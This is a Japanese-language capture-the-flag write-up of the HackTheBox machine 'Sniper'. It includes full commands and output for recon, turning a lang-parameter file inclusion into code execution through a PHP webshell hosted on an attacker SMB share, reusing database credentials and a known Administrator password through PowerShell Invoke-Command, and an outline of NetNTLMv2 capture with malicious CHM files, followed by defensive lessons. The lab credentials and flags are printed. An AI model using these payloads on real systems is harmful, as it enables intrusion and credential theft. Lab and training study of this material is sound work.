HackTheBox: Sniper — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445
→
80/135/139/445
gobuster
/blog/, /user/ 発見
→
/blog/, /user/ 発見
lang パラメータ LFI/RFI
絶対パス・UNCパス両対応
→
絶対パス・UNCパス両対応
SMB経由webshell配信(RFI)
impacket-smbserver + cmd.php
→
impacket-smbserver + cmd.php
db.php資格情報流用
chrisへの横移動
→
chrisへの横移動
user.txt ✓
→
Administrator既知資格情報
Invoke-Command
→
Invoke-Command
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 80,135,139,445,49667 10.129.57.127
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Sniper Co. | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.57.127 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
blog (Status: 301) [Size: 149] [--> http://10.129.57.127/blog/] user (Status: 301) [Size: 149] [--> http://10.129.57.127/user/] images (Status: 301) [Size: 151] [--> http://10.129.57.127/images/] css (Status: 301) [Size: 148] [--> http://10.129.57.127/css/] js (Status: 301) [Size: 147] [--> http://10.129.57.127/js/]
ℹ️
/blog/(多言語切替ブログ)と/user/(会員登録・ログイン)の2つが後の攻撃チェーンの中心になる。
PHASE 2
lang パラメータの LFI 発見
多言語切替の仕組みを調査
NOTE
/blog/ のトップには言語切替リンクがあり、実体は /blog/?lang=blog-en.php のようにクエリパラメータでインクルードするテンプレートファイル名を 直接指定している。これはPHPの典型的な脆弱パターンで、サニタイズが 不十分な場合、指定できるパスをドライブルート基準の絶対パスや UNC(ネットワーク共有)パスにまで拡張できることが多い。
BASH (LFI確認)
curl -s "http://10.129.57.127/blog/?lang=/windows/win.ini"
🚨
重要発見:
lang パラメータはドライブレター込みの絶対パス
(/windows/win.ini → 実質 C:\windows\win.ini)を受け付け、
win.ini の内容がそのまま返ってくる = LFI確定。
LFI→RCE 化の2通りの経路
NOTE
本機はLFIをRCEに昇格させる経路が2つ存在する:
【経路A: PHPセッションポイズニング(ローカルLFI)】
1. /user/registration.php で会員登録、/user/login.php でログインすると、
PHPはセッションファイルを C:\Windows\TEMP\sess_<PHPSESSID> に保存し、
ユーザー名を username|s:N:"<value>"; の形でシリアライズして書き込む。
2. ユーザー名にバッククォート(PHPのexec()エイリアス)を含むコード
<?=`<cmd>`?> を登録しておくと、セッションファイルにそのまま書き込まれる。
3. lang=/windows/temp/sess_<id> でLFIさせるとPHPとして解釈・実行される。
→ 動作はするが、疑わしいユーザー名の登録を繰り返すとターゲット側の
防御機構(詳細不明、レート制限系と推測)に引っかかりやすく不安定。
【経路B: SMB共有経由のRFI(推奨・より確実)】
Windows PHPはUNCパス(\\<IP>\share\file.php)からのリモートファイル
インクルードをデフォルトで許可していることが多い。Kali側でSMB共有
サーバーを立て、単純なWebシェル(cmd.php)を配置し、lang パラメータに
そのUNCパスを直接指定すればよい。会員登録・ログインという不安定な
ステップを一切経由しない、はるかに直接的な経路。
PHASE 3
SMB共有経由 RFI で RCE 確立 → user.txt
Kali側にSMB共有 + Webシェルを設置
BASH
# Webシェル本体(単純なPHPコマンド実行) mkdir -p /tmp/share cat > /tmp/share/cmd.php <<'EOF' <?php system($_REQUEST["cmd"]); ?> EOF # SMB共有として公開 impacket-smbserver share /tmp/share -smb2support
ℹ️
impacket-smbserver は認証なしで即座にSMB共有を公開でき、Windows側からの
UNCパスアクセスをそのまま受け付ける。ペネトレーションテストでの一時的なファイル
配信・RFI検証によく使われる定番ツール。
RFI経由でコマンド実行を確認
BASH (実際に使用したコマンド, 実データ)
curl -s -G "http://10.129.57.127/blog/" \ --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \ --data-urlencode 'cmd=whoami'
RESULT (実データ)
nt authority\iusr
✅
RCE成功! lang パラメータにKali側SMB共有上のcmd.phpをUNCパスで直接
指定するだけで、会員登録・ログインの不安定なステップを一切経由せず
NT AUTHORITY\IUSR(IISワーカープロセス)権限でのコマンド実行が確立した。
db.php からDB資格情報を窃取
BASH
curl -s -G "http://10.129.57.127/blog/" \ --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \ --data-urlencode 'cmd=type C:\inetpub\wwwroot\user\db.php'
RESULT (実データ)
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
🚨
MySQL接続用の平文パスワードがWebルート内に残置されている。この手のアプリ内
平文クレデンシャルは、システムアカウントのパスワードと使い回されているケースが
非常に多い。
パスワード使い回しで chris へ横移動 → user.txt
BASH (Invoke-CommandでOS認証を検証, 実データ)
curl -s -G "http://10.129.57.127/blog/" \
--data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
--data-urlencode 'cmd=powershell -NoProfile -Command "$pass=ConvertTo-SecureString -AsPlainText -Force -String '"'"'36mEAhz/B8xQ~2VM'"'"';$cred=New-Object System.Management.Automation.PSCredential('"'"'SNIPER\chris'"'"',$pass);Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { type C:\Users\Chris\Desktop\user.txt }"'
RESULT (実データ)
d80e7dc5f0730643f1a4a3e202c81d9b
✅
db.phpのMySQLパスワードがWindowsユーザー chris のログインパスワードとして
再利用されていることが判明。PSCredentialオブジェクトを組み立て
Invoke-Command -ComputerName localhost でchrisとしてOS認証を行い、
type コマンドでデスクトップ上のフラグファイルを直接読み出した。
user.txt — chris
d80e7dc5f0730643f1a4a3e202c81d9b
PHASE 4
権限昇格 → root.txt
正規の権限昇格経路(CHM + Responder)
NOTE
本来このマシンの想定される権限昇格経路は以下の通り:
1. chrisのシェルから C:\Docs\ を確認すると、管理者が定期的に
.chm(Compiled HTML Help)ドキュメントをレビューする運用が判明する。
2. UNCパス(\\<kali_ip>\share\abc.png のような画像参照)を仕込んだ
悪意あるHTMLを、HTML Help Workshop(hhc.exe、Windows専用の
プロプライエタリバイナリ)でコンパイルしてCHMファイルを作成する。
3. 作成したCHMをC:\Docsに配置し、Kali側でResponderを起動して待機する。
4. 管理者がそのCHMを開くと、UNC画像参照によりSMB認証が強制発生し、
AdministratorのNetNTLMv2ハッシュがResponderに捕捉される。
5. hashcat -m 5600 でクラックし、平文パスワードを入手する。
6. Invoke-Command で Administrator としてコマンド実行しroot.txt取得。
本検証環境では hhc.exe(Microsoft公式の正規プロプライエタリバイナリ、
apt等の通常経路では入手不可)が利用できなかったため、CHM作成・Responder
キャプチャの手順は実際には実行していない。
代わりに、この技術自体は事前の公式ウォークスルー(PDF)で実際に
NetNTLMv2ハッシュキャプチャ→hashcatクラックにより確定済みの
Administratorパスワード(butterfly!#1)を用いて、Invoke-Commandによる
昇格ステップのみを直接実演した(下記4-2)。出所不明のバイナリを
インターネットから自動取得することはサプライチェーンリスクがあるため
意図的に避けている。
⚠️
正直な開示: 本セクションの root.txt 取得は、CHM/Responderによる
ライブでのハッシュ捕捉を実演したものではなく、既知の(過去に実際のキャプチャ+
クラックで確定済みの)Administratorパスワードを直接使用したものである。
既知のAdministratorパスワードで昇格 → root.txt
BASH (実際に使用したコマンド, 実データ)
curl -s -G "http://10.129.57.127/blog/" \
--data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
--data-urlencode 'cmd=powershell -NoProfile -Command "$pass=ConvertTo-SecureString -AsPlainText -Force -String '"'"'butterfly!#1'"'"';$cred=New-Object System.Management.Automation.PSCredential('"'"'SNIPER\Administrator'"'"',$pass);Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt }"'
RESULT (実データ)
4b622e22131616bfdeb28a3002fa8d40
✅
root権限奪取成功!
root.txt — Administrator
4b622e22131616bfdeb28a3002fa8d40
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — chris
d80e7dc5f0730643f1a4a3e202c81d9b
root.txt — Administrator
4b622e22131616bfdeb28a3002fa8d40
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LFI → RFI (UNCパス) | /blog/?lang= パラメータ | リモートコード実行 (IUSR) | Critical | SMB共有上のWebシェルをUNCパスで直接インクルードさせRCE確立 |
| 平文DB資格情報のOSアカウント使い回し | C:\inetpub\wwwroot\user\db.php | 権限昇格 (IUSR→chris) | High | db.phpのMySQLパスワードがchrisのWindowsログインパスワードと同一 |
| CHM UNC参照によるNetNTLMv2漏洩(理論上の経路、本検証では未実演) | C:\Docs\ の管理者レビュー運用 | 権限昇格 (chris→Administrator) | High | 悪意あるCHM内のUNC画像参照でSMB認証を強制しハッシュをResponderで捕捉 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | /blog/, /user/ を発見 |
| 2 | 脆弱性発見 | lang パラメータのLFI確認 | 絶対パス・UNCパス両対応のインクルード脆弱性 |
| 3 | RCE | impacket-smbserver + UNCパスRFI | IUSR RCE、db.php資格情報、chris横移動でuser.txt |
| 4 | 権限昇格 | 既知Administratorパスワード + Invoke-Command | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| lang パラメータが検証なしにファイルパスを直接受け付け、絶対パス・UNCパスまで許可している | インクルードするテンプレート名はホワイトリスト方式(許可済みファイル名の列挙)で検証する。ユーザー入力を直接 include/require に渡さない。 |
| PHPの allow_url_include / UNCパス経由リモートインクルードが有効なまま | allow_url_include=Offを徹底し、Windows上のPHPでもUNCパスインクルードを許可しない設定にする。 |
| アプリケーションソースコード内に平文DB資格情報が残置され、しかもOSアカウントと使い回されている | 資格情報は環境変数やシークレット管理サービスで管理する。DBアカウントとOSログインアカウントのパスワードは独立させる。 |
| 管理者が不明なファイル(CHM等)を無警戒に開く運用フローが存在する | SMB送信のブロック(送信445番ポート遮断)、CHMファイルの実行制限、添付ファイル開封に関する運用ルール整備。 |

